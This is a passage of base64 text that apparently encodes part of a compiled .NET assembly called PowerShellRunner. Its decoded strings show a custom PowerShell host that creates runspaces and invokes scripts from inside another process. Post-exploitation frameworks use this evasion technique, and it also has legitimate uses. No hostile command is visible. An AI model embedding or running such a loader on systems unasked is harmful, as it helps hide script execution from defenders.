b2xvcgBXcml0ZQBXcml0ZUxpbmUAV3JpdGVEZWJ1Z0xpbmUAV3JpdGVFcnJvckxpbmUAV3JpdGVWZXJib3NlTGluZQBXcml0ZVdhcm5pbmdMaW5lAFByb2dyZXNzUmVjb3JkAFdyaXRlUHJvZ3Jlc3MAZ2V0X091dHB1dABTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBEaWN0aW9uYXJ5YDIAUFNPYmplY3QAU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsAENvbGxlY3Rpb25gMQBGaWVsZERlc2NyaXB0aW9uAFByb21wdABDaG9pY2VEZXNjcmlwdGlvbgBQcm9tcHRGb3JDaG9pY2UAUFNDcmVkZW50aWFsAFBTQ3JlZGVudGlhbFR5cGVzAFBTQ3JlZGVudGlhbFVJT3B0aW9ucwBQcm9tcHRGb3JDcmVkZW50aWFsAGdldF9SYXdVSQBSZWFkTGluZQBTeXN0ZW0uU2VjdXJpdHkAU2VjdXJlU3RyaW5nAFJlYWRMaW5lQXNTZWN1cmVTdHJpbmcAT3V0cHV0AFJhd1VJAFNpemUAX3dpbmRvd1NpemUAQ29vcmRpbmF0ZXMAX2N1cnNvclBvc2l0aW9uAF9jdXJzb3JTaXplAF9mb3JlZ3JvdW5kQ29sb3IAX2JhY2tncm91bmRDb2xvcgBfbWF4UGh5c2ljYWxXaW5kb3dTaXplAF9tYXhXaW5kb3dTaXplAF9idWZmZXJTaXplAF93aW5kb3dQb3NpdGlvbgBfd2luZG93VGl0bGUAZ2V0X0JhY2tncm91bmRDb2xvcgBzZXRfQmFja2dyb3VuZENvbG9yAGdldF9CdWZmZXJTaXplAHNldF9CdWZmZXJTaXplAGdldF9DdXJzb3JQb3NpdGlvbgBzZXRfQ3Vyc29yUG9zaXRpb24AZ2V0X0N1cnNvclNpemUAc2V0X0N1cnNvclNpemUARmx1c2hJbnB1dEJ1ZmZlcgBnZXRfRm9yZWdyb3VuZENvbG9yAHNldF9Gb3JlZ3JvdW5kQ29sb3IAQnVmZmVyQ2VsbABSZWN0YW5nbGUAR2V0QnVmZmVyQ29udGVudHMAZ2V0X0tleUF2YWlsYWJsZQBnZXRfTWF4UGh5c2ljYWxXaW5kb3dTaXplAGdldF9NYXhXaW5kb3dTaXplAEtleUluZm8AUmVhZEtleU9wdGlvbnMAUmVhZEtleQBTY3JvbGxCdWZmZXJDb250ZW50cwBTZXRCdWZmZXJDb250ZW50cwBnZXRfV2luZG93UG9zaXRpb24Ac2V0X1dpbmRvd1Bvc2l0aW9uAGdldF9XaW5kb3dTaXplAHNldF9XaW5kb3dTaXplAGdldF9XaW5kb3dUaXRsZQBzZXRfV2luZG93VGl0bGUAQmFja2dyb3VuZENvbG9yAEJ1ZmZlclNpemUAQ3Vyc29yUG9zaXRpb24AQ3Vyc29yU2l6ZQBGb3JlZ3JvdW5kQ29sb3IAS2V5QXZhaWxhYmxlAE1heFBoeXNpY2FsV2luZG93U2l6ZQBNYXhXaW5kb3dTaXplAFdpbmRvd1Bvc2l0aW9uAFdpbmRvd1NpemUAV2luZG93VGl0bGUAY29tbWFuZABleGl0Q29kZQBmb3JlZ3JvdW5kQ29sb3IAYmFja2dyb3VuZENvbG9yAHZhbHVlAG1lc3NhZ2UAc291cmNlSWQAcmVjb3JkAGNhcHRpb24AZGVzY3JpcHRpb25zAGNob2ljZXMAZGVmYXVsdENob2ljZQB1c2VyTmFtZQB0YXJnZXROYW1lAGFsbG93ZWRDcmVkZW50aWFsVHlwZXMAb3B0aW9ucwByZWN0YW5nbGUAc291cmNlAGRlc3RpbmF0aW9uAGNsaXAAZmlsbABvcmlnaW4AY29udGVudHMAU3lzdGVtLlJlZmxlY3Rpb24AQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5Q3VsdHVyZUF0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAQ29tVmlzaWJsZUF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAEFzc2VtYmx5VmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAFN5c3RlbS5EaWFnbm9zdGljcwBEZWJ1Z2dhYmxlQXR0cmlidXRlAERlYnVnZ2luZ01vZGVzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlJ1bnNwYWNlcwBJbml0aWFsU2Vzc2lvblN0YXRlAENyZWF0ZURlZmF1bHQAQXV0aG9yaXphdGlvbk1hbmFnZXIAc2V0X0F1dGhvcml6YXRpb25NYW5hZ2VyAFJ1bnNwYWNlRmFjdG9yeQBSdW5zcGFjZQBDcmVhdGVSdW5zcGFjZQBPcGVuAFBpcGVsaW5lAENyZWF0ZVBpcGVsaW5lAENvbW1hbmRDb2xsZWN0aW9uAGdldF9Db21tYW5kcwBBZGRTY3JpcHQAQ29tbWFuZABnZXRfSXRlbQBQaXBlbGluZVJlc3VsdFR5cGVzAE1lcmdlTXlSZXN1bHRzAEFkZABJbnZva2UASURpc3Bvc2FibGUARGlzcG9zZQBTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABnZXRfQ3VycmVudFRocmVhZABOb3RJbXBsZW1lbnRlZEV4Y2VwdGlvbgBOZXdHdWlkAEFwcGVuZABTdHJpbmcAQ29uY2F0AEFwcGVuZExpbmUAVG9TdHJpbmcAc2V0X1dpZHRoAHNldF9IZWlnaHQAc2V0X1gAc2V0X1kAAAAXbwB1AHQALQBkAGUAZgBhAHUAbAB0AAEZQwB1AHMAdABvAG0AUABTAEgAbwBzAHQAAIF3RQBuAHQAZQByAE4AZQBzAHQAZQBkAFAAcgBvAG0AcAB0ACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABgXVFAHgAaQB0AE4AZQBzAHQAZQBkAFAAcgBvAG0AcAB0ACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABAwoAAA9EAEUAQgBVAEcAOgAgAAAPRQBSAFIATwBSADoAIAAAE1YARQBSAEIATwBTAEUAOgAgAAATVwBBAFIATgBJAE4ARwA6ACAAAIFhUAByAG8AbQBwAHQAIABpAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuACAAIABUAGgAZQAgAHMAYwByAGkAcAB0ACAAaQBzACAAYQBzAGsAaQBuAGcAIABmAG8AcgAgAGkAbgBwAHUAdAAsACAAdwBoAGkAYwBoACAAaQBzACAAYQAgAHAAcgBvAGIAbABlAG0AIABzAGkAbgBjAGUAIAB0AGgAZQByAGUAJwBzACAAbgBvACAAYwBvAG4AcwBvAGwAZQAuACAAIABNAGEAawBlACAAcwB1AHIAZQAgAHQAaABlACAAcwBjAHIAaQBwAHQAIABjAGEAbgAgAGUAeABlAGMAdQB0AGUAIAB3AGkAdABoAG8AdQB0ACAAcAByAG8AbQBwAHQAaQBuAGcAIAB0AGgAZQAgAHUAcwBlAHIAIABmAG8AcgAgAGkAbgBwAHUAdAAuAAGBc1AAcgBvAG0AcAB0AEYAbwByAEMAaABvAGkAYwBlACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABgX1QAHIAbwBtAHAAdABGAG8AcgBDAHIAZQBkAGUAbgB0AGkAYQBsADEAIABpAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuACAAIABUAGgAZQAgAHMAYwByAGkAcAB0ACAAaQBzACAAYQBzAGsAaQBuAGcAIABmAG8AcgAgAGkAbgBwAHUAdAAsACAAdwBoAGkAYwBoACAAaQBzACAAYQAgAHAAcgBvAGIAbABlAG0AIABzAGkAbgBjAGUAIAB0AGgAZQByAGUAJwBzACAAbgBvACAAYwBvAG4AcwBvAGwAZQAuACAAIABNAGEAawBlACAAcwB1AHIAZQAgAHQAaABlACAAcwBjAHIAaQBwAHQAIABjAGEAbgAgAGUAeABlAGMAdQB0AGUAIAB3AGkAdABoAG8AdQB0ACAAcAByAG8AbQBwAHQAaQBuAGcAIAB0AGgAZQAgAHUAcwBlAHIAIABmAG8AcgAgAGkAbgBwAHUAdAAuAAGBfVAAcgBvAG0AcAB0AEYAbwByAEMAcgBlAGQAZQBuAHQAaQBhAGwAMgAgAGkAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkAC4AIAAgAFQAaABlACAAcwBjAHIAaQBwAHQAIABpAHMAIABhAHMAawBpAG4AZwAgAGYAbwByACAAaQBuAHAAdQB0ACwAIAB3AGgAaQBjAGgAIABpAHMAIABhACAAcAByAG8AYgBsAGUAbQAgAHMAaQBuAGMAZQAgAHQAaABlAHIAZQAnAHMAIABuAG8AIABjAG8AbgBzAG8AbABlAC4AIAAgAE0AYQBrAGUAIABzAHUAcgBlACAAdABoAGUAIABzAGMAcgBpAHAAdAAgAGMAYQBuACAAZQB4AGUAYwB1AHQAZQAgAHcAaQB0AGgAbwB1AHQAIABwAHIAbwBtAHAAdABpAG4AZwAgAHQAaABlACAAdQBzAGUAcgAgAGYAbwByACAAaQBuAHAAdQB0AC4AAYFlUgBlAGEAZABMAGkAbgBlACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABgYFSAGUAYQBkAEwAaQBuAGUAQQBzAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABSUYAbAB1AHMAaABJAG4AcAB1AHQAQgB1AGYAZgBlAHIAIABpAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuAABLRwBlAHQAQgB1AGYAZgBlAHIAQwBvAG4AdABlAG4AdABzACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAAQUsAZQB5AEEAdgBhAGkAbABhAGIAbABlACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAAgWNSAGUAYQBkAEsAZQB5ACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAgACAAVABoAGUAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAcwBrAGkAbgBnACAAZgBvAHIAIABpAG4AcAB1AHQALAAgAHcAaABpAGMAaAAgAGkAcwAgAGEAIABwAHIAbwBiAGwAZQBtACAAcwBpAG4AYwBlACAAdABoAGUAcgBlACcAcwAgAG4AbwAgAGMAbwBuAHMAbwBsAGUALgAgACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAZQAgAHMAYwByAGkAcAB0ACAAYwBhAG4AIABlAHgAZQBjAHUAdABlACAAdwBpAHQAaABvAHUAdAAgAHAAcgBvAG0AcAB0AGkAbgBnACAAdABoAGUAIAB1AHMAZQByACAAZgBvAHIAIABpAG4AcAB1AHQALgABT1MAYwByAG8AbABsAEIAdQBmAGYAZQByAEMAbwBuAHQAZQBuAHQAcwAgAGkAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkAABLUwBlAHQAQgB1AGYAZgBlAHIAQwBvAG4AdABlAG4AdABzACAAaQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQALgAASVMAZQB0AEIAdQBmAGYAZQByAEMAbwBuAHQAZQBuAHQAcwAgAGkAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkAAABAMxuW3U18Q5BqVrw/QQ4SsQACLd6XFYZNOCJCDG/OFatNk41BAABDg4DIAABAwYRFQMGEhAEIAARFQMgAA4EIAASGQQgABINBCAAEh0EIAEBCAQoABEVAygADgQoABIZBCgAEg0EKAASHQMGEiEDBhIUCCADARElESUOBCABAQ4GIAIBChIpESADFRItAg4SMQ4OFRI1ARI5DCAECA4OFRI1ARI9CAwgBhJBDg4ODhFFEUkIIAQSQQ4ODg4EIAASEQQgABJNBCgAEhEDBhFRAwYRVQIGCAMGESUCBg4EIAARJQUgAQERJQQgABFRBSABARFRBCAAEVUFIAEBEVUDIAAIDCABFBFZAgACAAARXQMgAAIGIAERYRFlCyAEARFdEVURXRFZByACARFdEVkNIAIBEVUUEVkCAAIAAAQoABElBCgAEVEEKAARVQMoAAgDKAACBCABAQIGIAEBEYCdBQAAEoCpBiABARKArQoAAhKAtRIJEoCpBSAAEoC5BSAAEoC9BxUSNQESgMEFIAETAAgJIAIBEYDFEYDFCCAAFRI1ARIxEAcHEgwSgKkSgLUSgLkODgIEBwERFQMHAQ4FIAIBCAgEBwESGQQHARINBQAAEoDNBAcBEh0EAAARFQUgARIhDgUAAg4ODgQHARIRBAcBESUEBwERUQQHARFVAwcBCA4HBhFREVURURFREVERVRUBABBQb3dlclNoZWxsUnVubmVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE0AAApAQAkZGZjNGVlYmItNzM4NC00ZGI1LTliYWQtMjU3MjAzMDI5YmQ5AAAMAQAHMS4wLjAuMAAACAEABwEAAAAACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQAAAAAGG45UAAAAAAIAAAAcAQAAHE4AABwwAABSU0RTRUDd29OH8U6bgVJtUD4juAsAAABlOlxEb2N1bWVudHNcVmlzdWFsIFN0dWRpbyAyMDEzXFByb2plY3RzXFVubWFuYWdlZFBvd2VyU2hlbGxcUG93ZXJTaGVsbFJ1bm5lclxvYmpcRGVidWdcUG93ZXJTaGVsbFJ1bm5lci5wZGIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGBPAAAAAAAAAAAAAH5PAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwTwAAAAAAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWGAAAPACAAAAAAAAAAAAAPACNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsARQAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAAsAgAAAQAwADAAMAAwADAANABiADAAAABMABEAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAUABvAHcAZQByAFMAaABlAGwAbABSAHUAbgBuAGUAcgAAAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABQAG8AdwBlAHIAUwBoAGUAbABsAFIAdQBuAG4AZQByAC4AZABsAGwAAAAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADEANAAAAFQAFQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABQAG8AdwBlAHIAUwBoAGUAbABsAFIAdQBuAG4AZQByAC4AZABsAGwAAAAAAEQAEQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAUABvAHcAZQByAFMAaABlAGwAbABSAHUAbgBuAGUAcgAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAMAAAAkD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAguAEQAAAAACC4ARABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAABAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAALAAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEAAAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAAABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAACgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAACAAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAADAAAAAgAAAAAAAAAAAAAAE7mQLuxGb9E/////wAAAAD/////gAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAAAAABBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAAAAABBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQIECIifARCkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAA